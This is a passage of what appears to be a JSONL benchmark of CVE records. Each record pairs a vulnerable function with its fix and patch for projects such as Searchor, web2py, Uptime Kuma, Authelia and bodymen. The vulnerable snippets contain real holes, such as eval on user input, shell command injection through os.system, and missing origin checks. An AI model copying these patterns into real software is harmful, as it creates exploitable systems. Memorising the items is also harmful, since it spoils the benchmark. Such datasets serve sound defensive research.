%s\", e)\n                    raise\n            else:\n                raise Exception(f\"Auth tag {auth_tag} does not match expected value {ex_mac}\")\n\n            web_util.echo_json_response(self, 200, \"Success\")\n            logger.info(\"PUT activated: %s\", agent_id)\n        except Exception as e:\n            web_util.echo_json_response(self, 400, f\"Error: {str(e)}\")\n            logger.warning(\"PUT for %s returning 400 response. Error: %s\", agent_id, e)\n            logger.exception(e)\n            return"}], "fix_func": [{"id": "fix_py_226_1", "commit": "9e5ac9f", "file_path": "keylime/registrar_common.py", "start_line": 408, "end_line": 469, "snippet": "    def do_PUT(self) -> None:\n        \"\"\"This method handles the PUT requests to add agents to the Registrar Server.\n\n        Currently, only agents resources are available for PUTing, i.e. /agents. All other PUT uri's\n        will return errors.\n        \"\"\"\n        session = SessionManager().make_session(engine)\n\n        _, agent_id = self._validate_input(\"PUT\", True)\n        if not agent_id:\n            return\n\n        try:\n            content_length = int(self.headers.get(\"Content-Length\", 0))\n            if content_length == 0:\n                web_util.echo_json_response(self, 400, \"Expected non zero content length\")\n                logger.warning(\"PUT for %s returning 400 response. Expected non zero content length.\", agent_id)\n                return\n\n            post_body = self.rfile.read(content_length)\n            json_body = json.loads(post_body)\n\n            auth_tag = json_body[\"auth_tag\"]\n            try:\n                agent = session.query(RegistrarMain).filter_by(agent_id=agent_id).first()\n            except NoResultFound as e:\n                raise Exception(\"attempting to activate agent before requesting \" f\"registrar for {agent_id}\") from e\n            except SQLAlchemyError as e:\n                logger.error(\"SQLAlchemy Error: %s\", e)\n                raise\n\n            assert agent\n            assert isinstance(agent.key, str)\n            ex_mac = crypto.do_hmac(agent.key.encode(), agent_id)\n            if ex_mac == auth_tag:\n                try:\n                    session.query(RegistrarMain).filter(RegistrarMain.agent_id == agent_id).update(\n                        {\"active\": int(True)}\n                    )\n                    session.commit()\n                except SQLAlchemyError as e:\n                    logger.error(\"SQLAlchemy Error: %s\", e)\n                    raise\n            else:\n                if agent_id and session.query(RegistrarMain).filter_by(agent_id=agent_id).delete():\n                    try:\n                        session.commit()\n                    except SQLAlchemyError as e:\n                        logger.error(\"SQLAlchemy Error: %s\", e)\n                        raise\n\n                raise Exception(\n                    f\"Auth tag {auth_tag} for agent {agent_id} does not match expected value. The agent has been deleted from database, and a restart of it will be required\"\n                )\n\n            web_util.echo_json_response(self, 200, \"Success\")\n            logger.info(\"PUT activated: %s\", agent_id)\n        except Exception as e:\n            web_util.echo_json_response(self, 400, f\"Error: {str(e)}\")\n            logger.warning(\"PUT for %s returning 400 response. Error: %s\", agent_id, e)\n            logger.exception(e)\n            return"}], "vul_patch": "--- a/keylime/registrar_common.py\n+++ b/keylime/registrar_common.py\n@@ -42,7 +42,16 @@\n                     logger.error(\"SQLAlchemy Error: %s\", e)\n                     raise\n             else:\n-                raise Exception(f\"Auth tag {auth_tag} does not match expected value {ex_mac}\")\n+                if agent_id and session.query(RegistrarMain).filter_by(agent_id=agent_id).delete():\n+                    try:\n+                        session.commit()\n+                    except SQLAlchemyError as e:\n+                        logger.error(\"SQLAlchemy Error: %s\", e)\n+                        raise\n+\n+                raise Exception(\n+                    f\"Auth tag {auth_tag} for agent {agent_id} does not match expected value. The agent has been deleted from database, and a restart of it will be required\"\n+                )\n \n             web_util.echo_json_response(self, 200, \"Success\")\n             logger.info(\"PUT activated: %s\", agent_id)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-43364", "cve_description": "main.py in Searchor before 2.4.2 uses eval on CLI input, which may cause unexpected code execution.", "cwe_info": {"CWE-74": {"name": "Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')", "description": "The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component."}}, "repo": "https://github.com/ArjunSharda/Searchor", "patch_url": ["https://github.com/ArjunSharda/Searchor/commit/16016506f7bf92b0f21f51841d599126d6fcd15b"], "programing_language": "Python", "vul_func": [{"id": "vul_py_341_1", "commit": "ddbe198467ef2bd37096c5bd7b3fe313eabed39d", "file_path": "src/searchor/main.py", "start_line": 30, "end_line": 42, "snippet": "def search(engine, query, open, copy):\n    try:\n        url = eval(\n            f\"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})\"\n        )\n        click.echo(url)\n        searchor.history.update(engine, query, url)\n        if open:\n            click.echo(\"opening browser...\")\n        if copy:\n            click.echo(\"link copied to clipboard\")\n    except AttributeError:\n        print(\"engine not recognized\")"}], "fix_func": [{"id": "fix_py_341_1", "commit": "16016506f7bf92b0f21f51841d599126d6fcd15b", "file_path": "src/searchor/main.py", "start_line": 30, "end_line": 40, "snippet": "def search(engine, query, open, copy):\n    try:\n        url = Engine[engine].search(query, copy_url=copy, open_web=open)\n        click.echo(url)\n        searchor.history.update(engine, query, url)\n        if open:\n            click.echo(\"opening browser...\")\n        if copy:\n            click.echo(\"link copied to clipboard\")\n    except AttributeError:\n        print(\"engine not recognized\")"}], "vul_patch": "--- a/src/searchor/main.py\n+++ b/src/searchor/main.py\n@@ -1,8 +1,6 @@\n def search(engine, query, open, copy):\n     try:\n-        url = eval(\n-            f\"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})\"\n-        )\n+        url = Engine[engine].search(query, copy_url=copy, open_web=open)\n         click.echo(url)\n         searchor.history.update(engine, query, url)\n         if open:\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-8613", "cve_description": "A vulnerability in gaizhenbiao/chuanhuchatgpt version 20240802 allows attackers to access, copy, and delete other users' chat histories. This issue arises due to improper handling of session data and lack of access control mechanisms, enabling attackers to view and manipulate chat histories of other users.", "cwe_info": {"CWE-284": {"name": "Improper Access Control", "description": "The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor."}}, "repo": "https://github.com/gaizhenbiao/chuanhuchatgpt", "patch_url": ["https://github.com/gaizhenbiao/chuanhuchatgpt/commit/526c615c437377ee9c71f866fd0f19011910f705"], "programing_language": "Python", "vul_func": [{"id": "vul_py_302_1", "commit": "226a9b2", "file_path": "modules/models/base_model.py", "start_line": 1100, "end_line": 1122, "snippet": "    def delete_chat_history(self, filename):\n        if filename == \"CANCELED\":\n            return gr.update(), gr.update(), gr.update()\n        if filename == \"\":\n            return i18n(\"\\u4f60\\u6ca1\\u6709\\u9009\\u62e9\\u4efb\\u4f55\\u5bf9\\u8bdd\\u5386\\u53f2\"), gr.update(), gr.update()\n        if not filename.endswith(\".json\"):\n            filename += \".json\"\n        if filename == os.path.basename(filename):\n            history_file_path = os.path.join(HISTORY_DIR, self.user_name, filename)\n        else:\n            history_file_path = filename\n        md_history_file_path = history_file_path[:-5] + \".md\"\n        try:\n            os.remove(history_file_path)\n            os.remove(md_history_file_path)\n            return i18n(\"\\u5220\\u9664\\u5bf9\\u8bdd\\u5386\\u53f2\\u6210\\u529f\"), get_history_list(self.user_name), []\n        except:\n            logging.info(f\"\\u5220\\u9664\\u5bf9\\u8bdd\\u5386\\u53f2\\u5931\\u8d25 {history_file_path}\")\n            return (\n                i18n(\"\\u5bf9\\u8bdd\\u5386\\u53f2\") + filename + i18n(\"\\u5df2\\u7ecf\\u88ab\\u5220\\u9664\\u5566\"),\n                get_history_list(self.user_name),\n                [],\n            )"}, {"id": "vul_py_302_2", "commit": "226a9b2", "file_path": "modules/utils.py", "start_line": 383, "end_line": 433, "snippet": "def save_file(filename, model, chatbot):\n    system = model.system_prompt\n    history = model.history\n    user_name = model.user_name\n    os.makedirs(os.path.join(HISTORY_DIR, user_name), exist_ok=True)\n    if filename is None:\n        filename = new_auto_history_filename(user_name)\n    if filename.endswith(\".md\"):\n        filename = filename[:-3]\n    if not filename.endswith(\".json\") and not filename.endswith(\".md\"):\n        filename += \".json\"\n    if filename == \".json\":\n        raise Exception(\"\\u6587\\u4ef6\\u540d\\u4e0d\\u80fd\\u4e3a\\u7a7a\")\n\n    json_s = {\n        \"system\": system,\n        \"history\": history,\n        \"chatbot\": chatbot,\n        \"model_name\": model.model_name,\n        \"single_turn\": model.single_turn,\n        \"temperature\": model.temperature,\n        \"top_p\": model.top_p,\n        \"n_choices\": model.n_choices,\n        \"stop_sequence\": model.stop_sequence,\n        \"token_upper_limit\": model.token_upper_limit,\n        \"max_generation_token\": model.max_generation_token,\n        \"presence_penalty\": model.presence_penalty,\n        \"frequency_penalty\": model.frequency_penalty,\n        \"logit_bias\": model.logit_bias,\n        \"user_identifier\": model.user_identifier,\n        \"stream\": model.stream,\n        \"metadata\": model.metadata,\n    }\n    if not filename == os.path.basename(filename):\n        history_file_path = filename\n    else:\n        history_file_path = os.path.join(HISTORY_DIR, user_name, filename)\n\n    with open(history_file_path, \"w\", encoding=\"utf-8\") as f:\n        json.dump(json_s, f, ensure_ascii=False, indent=4)\n\n    filename = os.path.basename(filename)\n    filename_md = filename[:-5] + \".md\"\n    md_s = f\"system: \\n- {system} \\n\"\n    for data in history:\n        md_s += f\"\\n{data['role']}: \\n- {data['content']} \\n\"\n    with open(\n        os.path.join(HISTORY_DIR, user_name, filename_md), \"w\", encoding=\"utf8\"\n    ) as f:\n        f.write(md_s)\n    return os.path.join(HISTORY_DIR, user_name, filename)"}], "fix_func": [{"id": "fix_py_302_1", "commit": "526c615c437377ee9c71f866fd0f19011910f705", "file_path": "modules/models/base_model.py", "start_line": 1100, "end_line": 1126, "snippet": "    def delete_chat_history(self, filename):\n        if filename == \"CANCELED\":\n            return gr.update(), gr.update(), gr.update()\n        if filename == \"\":\n            return i18n(\"\\u4f60\\u6ca1\\u6709\\u9009\\u62e9\\u4efb\\u4f55\\u5bf9\\u8bdd\\u5386\\u53f2\"), gr.update(), gr.update()\n        if not filename.endswith(\".json\"):\n            filename += \".json\"\n        if filename == os.path.basename(filename):\n            history_file_path = os.path.join(HISTORY_DIR, self.user_name, filename)\n        else:\n            history_file_path = filename\n        md_history_file_path = history_file_path[:-5] + \".md\"\n        # check if history file path matches user_name\n        # if user access control is not enabled, user_name is empty, don't check\n        assert os.path.dirname(history_file_path) == self.user_name or self.user_name == \"\"\n        assert os.path.dirname(md_history_file_path) == self.user_name or self.user_name == \"\"\n        try:\n            os.remove(history_file_path)\n            os.remove(md_history_file_path)\n            return i18n(\"\\u5220\\u9664\\u5bf9\\u8bdd\\u5386\\u53f2\\u6210\\u529f\"), get_history_list(self.user_name), []\n        except:\n            logging.info(f\"\\u5220\\u9664\\u5bf9\\u8bdd\\u5386\\u53f2\\u5931\\u8d25 {history_file_path}\")\n            return (\n                i18n(\"\\u5bf9\\u8bdd\\u5386\\u53f2\") + filename + i18n(\"\\u5df2\\u7ecf\\u88ab\\u5220\\u9664\\u5566\"),\n                get_history_list(self.user_name),\n                [],\n            )"}, {"id": "fix_py_302_2", "commit": "526c615c437377ee9c71f866fd0f19011910f705", "file_path": "modules/utils.py", "start_line": 383, "end_line": 436, "snippet": "def save_file(filename, model, chatbot):\n    system = model.system_prompt\n    history = model.history\n    user_name = model.user_name\n    os.makedirs(os.path.join(HISTORY_DIR, user_name), exist_ok=True)\n    if filename is None:\n        filename = new_auto_history_filename(user_name)\n    if filename.endswith(\".md\"):\n        filename = filename[:-3]\n    if not filename.endswith(\".json\") and not filename.endswith(\".md\"):\n        filename += \".json\"\n    if filename == \".json\":\n        raise Exception(\"\\u6587\\u4ef6\\u540d\\u4e0d\\u80fd\\u4e3a\\u7a7a\")\n\n    json_s = {\n        \"system\": system,\n        \"history\": history,\n        \"chatbot\": chatbot,\n        \"model_name\": model.model_name,\n        \"single_turn\": model.single_turn,\n        \"temperature\": model.temperature,\n        \"top_p\": model.top_p,\n        \"n_choices\": model.n_choices,\n        \"stop_sequence\": model.stop_sequence,\n        \"token_upper_limit\": model.token_upper_limit,\n        \"max_generation_token\": model.max_generation_token,\n        \"presence_penalty\": model.presence_penalty,\n        \"frequency_penalty\": model.frequency_penalty,\n        \"logit_bias\": model.logit_bias,\n        \"user_identifier\": model.user_identifier,\n        \"stream\": model.stream,\n        \"metadata\": model.metadata,\n    }\n    if not filename == os.path.basename(filename):\n        history_file_path = filename\n    else:\n        history_file_path = os.path.join(HISTORY_DIR, user_name, filename)\n\n    # check if history file path matches user_name\n    # if user access control is not enabled, user_name is empty, don't check\n    assert os.path.dirname(history_file_path) == model.user_name or model.user_name == \"\"\n    with open(history_file_path, \"w\", encoding=\"utf-8\") as f:\n        json.dump(json_s, f, ensure_ascii=False, indent=4)\n\n    filename = os.path.basename(filename)\n    filename_md = filename[:-5] + \".md\"\n    md_s = f\"system: \\n- {system} \\n\"\n    for data in history:\n        md_s += f\"\\n{data['role']}: \\n- {data['content']} \\n\"\n    with open(\n        os.path.join(HISTORY_DIR, user_name, filename_md), \"w\", encoding=\"utf8\"\n    ) as f:\n        f.write(md_s)\n    return os.path.join(HISTORY_DIR, user_name, filename)"}], "vul_patch": "--- a/modules/models/base_model.py\n+++ b/modules/models/base_model.py\n@@ -10,6 +10,10 @@\n         else:\n             history_file_path = filename\n         md_history_file_path = history_file_path[:-5] + \".md\"\n+        # check if history file path matches user_name\n+        # if user access control is not enabled, user_name is empty, don't check\n+        assert os.path.dirname(history_file_path) == self.user_name or self.user_name == \"\"\n+        assert os.path.dirname(md_history_file_path) == self.user_name or self.user_name == \"\"\n         try:\n             os.remove(history_file_path)\n             os.remove(md_history_file_path)\n\n--- a/modules/utils.py\n+++ b/modules/utils.py\n@@ -36,6 +36,9 @@\n     else:\n         history_file_path = os.path.join(HISTORY_DIR, user_name, filename)\n \n+    # check if history file path matches user_name\n+    # if user access control is not enabled, user_name is empty, don't check\n+    assert os.path.dirname(history_file_path) == model.user_name or model.user_name == \"\"\n     with open(history_file_path, \"w\", encoding=\"utf-8\") as f:\n         json.dump(json_s, f, ensure_ascii=False, indent=4)\n \n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-49805", "cve_description": "Uptime Kuma is an easy-to-use self-hosted monitoring tool. Prior to version 1.23.9, the application uses WebSocket (with Socket.io), but it does not verify that the source of communication is valid. This allows third-party website to access the application on behalf of their client. When connecting to the server using Socket.IO, the server does not validate the `Origin` header leading to other site being able to open connections to the server and communicate with it. Other websites still need to authenticate to access most features, however this can be used to circumvent firewall protections made in place by people deploying the application.\n\nWithout origin validation, Javascript executed from another origin would be allowed to connect to the application without any user interaction. Without login credentials, such a connection is unable to access protected endpoints containing sensitive data of the application. However, such a connection may allow attacker to further exploit unseen vulnerabilities of the application. Users with \"No-auth\" mode configured who are relying on a reverse proxy or firewall to provide protection to the application would be especially vulnerable as it would grant the attacker full access to the application.\n\nIn version 1.23.9, additional verification of the HTTP Origin header has been added to the socket.io connection handler. By default, if the `Origin` header is present, it would be checked against the Host header. Connection would be denied if the hostnames do not match, which would indicate that the request is cross-origin. Connection would be allowed if the `Origin` header is not present. Users can override this behavior by setting environment variable `UPTIME_KUMA_WS_ORIGIN_CHECK=bypass`.", "cwe_info": {"CWE-346": {"name": "Origin Validation Error", "description": "The product does not properly verify that the source of data or communication is valid."}}, "repo": "https://github.com/louislam/uptime-kuma", "patch_url": ["https://github.com/louislam/uptime-kuma/commit/2815cc73cfd9d8ced889e00e72899708220d184f"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_309_1", "commit": "e1147c06aa5adf9eb3c7d4d29ae8ab20cddec5de", "file_path": "server/uptime-kuma-server.js", "start_line": 106, "end_line": 106, "snippet": "        this.io = new Server(this.httpServer);"}], "fix_func": [{"id": "fix_js_309_1", "commit": "2815cc73cfd9d8ced889e00e72899708220d184f", "file_path": "server/uptime-kuma-server.js", "start_line": 106, "end_line": 140, "snippet": "        this.io = new Server(this.httpServer, {\n            allowRequest: (req, callback) => {\n                let isOriginValid = true;\n                const bypass = isDev || process.env.UPTIME_KUMA_WS_ORIGIN_CHECK === \"bypass\";\n\n                if (!bypass) {\n                    let host = req.headers.host;\n\n                    // If this is set, it means the request is from the browser\n                    let origin = req.headers.origin;\n\n                    // If this is from the browser, check if the origin is allowed\n                    if (origin) {\n                        try {\n                            let originURL = new URL(origin);\n\n                            if (host !== originURL.host) {\n                                isOriginValid = false;\n                                log.error(\"auth\", `Origin (${origin}) does not match host (${host}), IP: ${req.socket.remoteAddress}`);\n                            }\n                        } catch (e) {\n                            // Invalid origin url, probably not from browser\n                            isOriginValid = false;\n                            log.error(\"auth\", `Invalid origin url (${origin}), IP: ${req.socket.remoteAddress}`);\n                        }\n                    } else {\n                        log.info(\"auth\", `Origin is not set, IP: ${req.socket.remoteAddress}`);\n                    }\n                } else {\n                    log.debug(\"auth\", \"Origin check is bypassed\");\n                }\n\n                callback(null, isOriginValid);\n            }\n        });"}, {"id": "fix_js_309_2", "commit": "2815cc73cfd9d8ced889e00e72899708220d184f", "file_path": "server/server.js", "start_line": 51, "end_line": 57, "snippet": "if (!process.env.UPTIME_KUMA_WS_ORIGIN_CHECK) {\n    process.env.UPTIME_KUMA_WS_ORIGIN_CHECK = \"cors-like\";\n}\n\nlog.info(\"server\", \"Node Env: \" + process.env.NODE_ENV);\nlog.info(\"server\", \"Inside Container: \" + (process.env.UPTIME_KUMA_IS_CONTAINER === \"1\"));\nlog.info(\"server\", \"WebSocket Origin Check: \" + process.env.UPTIME_KUMA_WS_ORIGIN_CHECK);"}], "vul_patch": "--- a/server/uptime-kuma-server.js\n+++ b/server/uptime-kuma-server.js\n@@ -1 +1,35 @@\n-        this.io = new Server(this.httpServer);\n+        this.io = new Server(this.httpServer, {\n+            allowRequest: (req, callback) => {\n+                let isOriginValid = true;\n+                const bypass = isDev || process.env.UPTIME_KUMA_WS_ORIGIN_CHECK === \"bypass\";\n+\n+                if (!bypass) {\n+                    let host = req.headers.host;\n+\n+                    // If this is set, it means the request is from the browser\n+                    let origin = req.headers.origin;\n+\n+                    // If this is from the browser, check if the origin is allowed\n+                    if (origin) {\n+                        try {\n+                            let originURL = new URL(origin);\n+\n+                            if (host !== originURL.host) {\n+                                isOriginValid = false;\n+                                log.error(\"auth\", `Origin (${origin}) does not match host (${host}), IP: ${req.socket.remoteAddress}`);\n+                            }\n+                        } catch (e) {\n+                            // Invalid origin url, probably not from browser\n+                            isOriginValid = false;\n+                            log.error(\"auth\", `Invalid origin url (${origin}), IP: ${req.socket.remoteAddress}`);\n+                        }\n+                    } else {\n+                        log.info(\"auth\", `Origin is not set, IP: ${req.socket.remoteAddress}`);\n+                    }\n+                } else {\n+                    log.debug(\"auth\", \"Origin check is bypassed\");\n+                }\n+\n+                callback(null, isOriginValid);\n+            }\n+        });\n\n--- /dev/null\n+++ b/server/uptime-kuma-server.js\n@@ -0,0 +1,7 @@\n+if (!process.env.UPTIME_KUMA_WS_ORIGIN_CHECK) {\n+    process.env.UPTIME_KUMA_WS_ORIGIN_CHECK = \"cors-like\";\n+}\n+\n+log.info(\"server\", \"Node Env: \" + process.env.NODE_ENV);\n+log.info(\"server\", \"Inside Container: \" + (process.env.UPTIME_KUMA_IS_CONTAINER === \"1\"));\n+log.info(\"server\", \"WebSocket Origin Check: \" + process.env.UPTIME_KUMA_WS_ORIGIN_CHECK);\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-32637", "cve_description": "Authelia is a a single sign-on multi-factor portal for web apps. This affects uses who are using nginx ngx_http_auth_request_module with Authelia, it allows a malicious individual who crafts a malformed HTTP request to bypass the authentication mechanism. It additionally could theoretically affect other proxy servers, but all of the ones we officially support except nginx do not allow malformed URI paths. The problem is rectified entirely in v4.29.3. As this patch is relatively straightforward we can back port this to any version upon request. Alternatively we are supplying a git patch to 4.25.1 which should be relatively straightforward to apply to any version, the git patches for specific versions can be found in the references. The most relevant workaround is upgrading. You can also add a block which fails requests that contains a malformed URI in the internal location block.", "cwe_info": {"CWE-287": {"name": "Improper Authentication", "description": "When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct."}}, "repo": "https://github.com/authelia/authelia", "patch_url": ["https://github.com/authelia/authelia/commit/c62dbd43d6e69ae81530e7c4f8763857f8ff1dda"], "programing_language": "Go", "vul_func": [{"id": "vul_go_97_1", "commit": "a56cffa", "file_path": "internal/handlers/handler_verify.go", "start_line": 423, "end_line": 485, "snippet": "func VerifyGet(cfg schema.AuthenticationBackendConfiguration) middlewares.RequestHandler {\n\trefreshProfile, refreshProfileInterval := getProfileRefreshSettings(cfg)\n\n\treturn func(ctx *middlewares.AutheliaCtx) {\n\t\tctx.Logger.Tracef(\"Headers=%s\", ctx.Request.Header.String())\n\t\ttargetURL, err := ctx.GetOriginalURL()\n\n\t\tif err != nil {\n\t\t\tctx.Error(fmt.Errorf(\"Unable to parse target URL: %s\", err), operationFailedMessage)\n\t\t\treturn\n\t\t}\n\n\t\tif !isSchemeHTTPS(targetURL) && !isSchemeWSS(targetURL) {\n\t\t\tctx.Logger.Error(fmt.Errorf(\"Scheme of target URL %s must be secure since cookies are \"+\n\t\t\t\t\"only transported over a secure connection for security reasons\", targetURL.String()))\n\t\t\tctx.ReplyUnauthorized()\n\n\t\t\treturn\n\t\t}\n\n\t\tif !isURLUnderProtectedDomain(targetURL, ctx.Configuration.Session.Domain) {\n\t\t\tctx.Logger.Error(fmt.Errorf(\"The target URL %s is not under the protected domain %s\",\n\t\t\t\ttargetURL.String(), ctx.Configuration.Session.Domain))\n\t\t\tctx.ReplyUnauthorized()\n\n\t\t\treturn\n\t\t}\n\n\t\tisBasicAuth, username, name, groups, emails, authLevel, err := verifyAuth(ctx, targetURL, refreshProfile, refreshProfileInterval)\n\n\t\tmethod := ctx.XForwardedMethod()\n\n\t\tif err != nil {\n\t\t\tctx.Logger.Error(fmt.Sprintf(\"Error caught when verifying user authorization: %s\", err))\n\n\t\t\tif err := updateActivityTimestamp(ctx, isBasicAuth, username); err != nil {\n\t\t\t\tctx.Error(fmt.Errorf(\"Unable to update last activity: %s\", err), operationFailedMessage)\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\thandleUnauthorized(ctx, targetURL, isBasicAuth, username, method)\n\n\t\t\treturn\n\t\t}\n\n\t\tauthorized := isTargetURLAuthorized(ctx.Providers.Authorizer, *targetURL, username,\n\t\t\tgroups, ctx.RemoteIP(), method, authLevel)\n\n\t\tswitch authorized {\n\t\tcase Forbidden:\n\t\t\tctx.Logger.Infof(\"Access to %s is forbidden to user %s\", targetURL.String(), username)\n\t\t\tctx.ReplyForbidden()\n\t\tcase NotAuthorized:\n\t\t\thandleUnauthorized(ctx, targetURL, isBasicAuth, username, method)\n\t\tcase Authorized:\n\t\t\tsetForwardedHeaders(&ctx.Response.Header, username, name, groups, emails)\n\t\t}\n\n\t\tif err := updateActivityTimestamp(ctx, isBasicAuth, username); err != nil {\n\t\t\tctx.Error(fmt.Errorf(\"Unable to update last activity: %s\", err), operationFailedMessage)\n\t\t}\n\t}\n}"}], "fix_func": [{"id": "fix_go_97_1", "commit": "c62dbd4", "file_path": "internal/handlers/handler_verify.go", "start_line": 423, "end_line": 487, "snippet": "func VerifyGet(cfg schema.AuthenticationBackendConfiguration) middlewares.RequestHandler {\n\trefreshProfile, refreshProfileInterval := getProfileRefreshSettings(cfg)\n\n\treturn func(ctx *middlewares.AutheliaCtx) {\n\t\tctx.Logger.Tracef(\"Headers=%s\", ctx.Request.Header.String())\n\t\ttargetURL, err := ctx.GetOriginalURL()\n\n\t\tif err != nil {\n\t\t\tctx.Logger.Error(fmt.Errorf(\"Unable to parse target URL: %s\", err))\n\t\t\tctx.ReplyUnauthorized()\n\n\t\t\treturn\n\t\t}\n\n\t\tif !isSchemeHTTPS(targetURL) && !isSchemeWSS(targetURL) {\n\t\t\tctx.Logger.Error(fmt.Errorf(\"Scheme of target URL %s must be secure since cookies are \"+\n\t\t\t\t\"only transported over a secure connection for security reasons\", targetURL.String()))\n\t\t\tctx.ReplyUnauthorized()\n\n\t\t\treturn\n\t\t}\n\n\t\tif !isURLUnderProtectedDomain(targetURL, ctx.Configuration.Session.Domain) {\n\t\t\tctx.Logger.Error(fmt.Errorf(\"The target URL %s is not under the protected domain %s\",\n\t\t\t\ttargetURL.String(), ctx.Configuration.Session.Domain))\n\t\t\tctx.ReplyUnauthorized()\n\n\t\t\treturn\n\t\t}\n\n\t\tisBasicAuth, username, name, groups, emails, authLevel, err := verifyAuth(ctx, targetURL, refreshProfile, refreshProfileInterval)\n\n\t\tmethod := ctx.XForwardedMethod()\n\n\t\tif err != nil {\n\t\t\tctx.Logger.Error(fmt.Sprintf(\"Error caught when verifying user authorization: %s\", err))\n\n\t\t\tif err := updateActivityTimestamp(ctx, isBasicAuth, username); err != nil {\n\t\t\t\tctx.Error(fmt.Errorf(\"Unable to update last activity: %s\", err), operationFailedMessage)\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\thandleUnauthorized(ctx, targetURL, isBasicAuth, username, method)\n\n\t\t\treturn\n\t\t}\n\n\t\tauthorized := isTargetURLAuthorized(ctx.Providers.Authorizer, *targetURL, username,\n\t\t\tgroups, ctx.RemoteIP(), method, authLevel)\n\n\t\tswitch authorized {\n\t\tcase Forbidden:\n\t\t\tctx.Logger.Infof(\"Access to %s is forbidden to user %s\", targetURL.String(), username)\n\t\t\tctx.ReplyForbidden()\n\t\tcase NotAuthorized:\n\t\t\thandleUnauthorized(ctx, targetURL, isBasicAuth, username, method)\n\t\tcase Authorized:\n\t\t\tsetForwardedHeaders(&ctx.Response.Header, username, name, groups, emails)\n\t\t}\n\n\t\tif err := updateActivityTimestamp(ctx, isBasicAuth, username); err != nil {\n\t\t\tctx.Error(fmt.Errorf(\"Unable to update last activity: %s\", err), operationFailedMessage)\n\t\t}\n\t}\n}"}], "vul_patch": "--- a/internal/handlers/handler_verify.go\n+++ b/internal/handlers/handler_verify.go\n@@ -6,7 +6,9 @@\n \t\ttargetURL, err := ctx.GetOriginalURL()\n \n \t\tif err != nil {\n-\t\t\tctx.Error(fmt.Errorf(\"Unable to parse target URL: %s\", err), operationFailedMessage)\n+\t\t\tctx.Logger.Error(fmt.Errorf(\"Unable to parse target URL: %s\", err))\n+\t\t\tctx.ReplyUnauthorized()\n+\n \t\t\treturn\n \t\t}\n \n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2019-10792", "cve_description": "bodymen before 1.1.1 is vulnerable to Prototype Pollution. The handler function could be tricked into adding or modifying properties of Object.prototype using a __proto__ payload.", "cwe_info": {"CWE-74": {"name": "Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')", "description": "The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component."}}, "repo": "https://github.com/diegohaz/bodymen", "patch_url": ["https://github.com/diegohaz/bodymen/commit/5d52e8cf360410ee697afd90937e6042c3a8653b"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_72_1", "commit": "ad8881d", "file_path": "src/index.js", "start_line": 20, "end_line": 26, "snippet": "export function handler (type, name, fn) {\n  if (arguments.length > 2) {\n    handlers[type][name] = fn\n  }\n\n  return handlers[type][name]\n}"}], "fix_func": [{"id": "fix_js_72_1", "commit": "5d52e8cf360410ee697afd90937e6042c3a8653b", "file_path": "src/index.js", "start_line": 20, "end_line": 34, "snippet": "export function handler (type, name, fn) {\n  if (\n    type === 'constructor' ||\n    type === '__proto__' ||\n    name === 'constructor' ||\n    name === '__proto__'\n  ) {\n    return\n  }\n  if (arguments.length > 2) {\n    handlers[type][name] = fn\n  }\n\n  return handlers[type][name]\n}"}], "vul_patch": "--- a/src/index.js\n+++ b/src/index.js\n@@ -1,4 +1,12 @@\n export function handler (type, name, fn) {\n+  if (\n+    type === 'constructor' ||\n+    type === '__proto__' ||\n+    name === 'constructor' ||\n+    name === '__proto__'\n+  ) {\n+    return\n+  }\n   if (arguments.length > 2) {\n     handlers[type][name] = fn\n   }\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2019-10792:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/bodymen\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\nnpx babel-node test/index.js\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2019-10792:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/bodymen\ngit apply --whitespace=nowarn /workspace/fix.patch\nnpx babel-node test/index.js\n"}
{"cve_id": "CVE-2023-45158", "cve_description": "An OS command injection vulnerability exists in web2py 2.24.1 and earlier. When the product is configured to use notifySendHandler for logging (not the default configuration), a crafted web request may execute an arbitrary OS command on the web server using the product.", "cwe_info": {"CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/web2py/web2py", "patch_url": ["https://github.com/web2py/web2py/commit/936e2260b0c34c44e2f3674a893e96d2a7fad0a3"], "programing_language": "Python", "vul_func": [{"id": "vul_py_321_1", "commit": "38f44f7", "file_path": "gluon/messageboxhandler.py", "start_line": 36, "end_line": 39, "snippet": "    def emit(self, record):\n        if tkinter:\n            msg = self.format(record)\n            os.system(\"notify-send '%s'\" % msg)"}], "fix_func": [{"id": "fix_py_321_1", "commit": "936e2260b0c34c44e2f3674a893e96d2a7fad0a3", "file_path": "gluon/messageboxhandler.py", "start_line": 36, "end_line": 39, "snippet": "    def emit(self, record):\n        if tkinter:\n            msg = self.format(record)\n            subprocess.run([\"notify-send\", msg], check=False, timeout=2)"}], "vul_patch": "--- a/gluon/messageboxhandler.py\n+++ b/gluon/messageboxhandler.py\n@@ -1,4 +1,4 @@\n     def emit(self, record):\n         if tkinter:\n             msg = 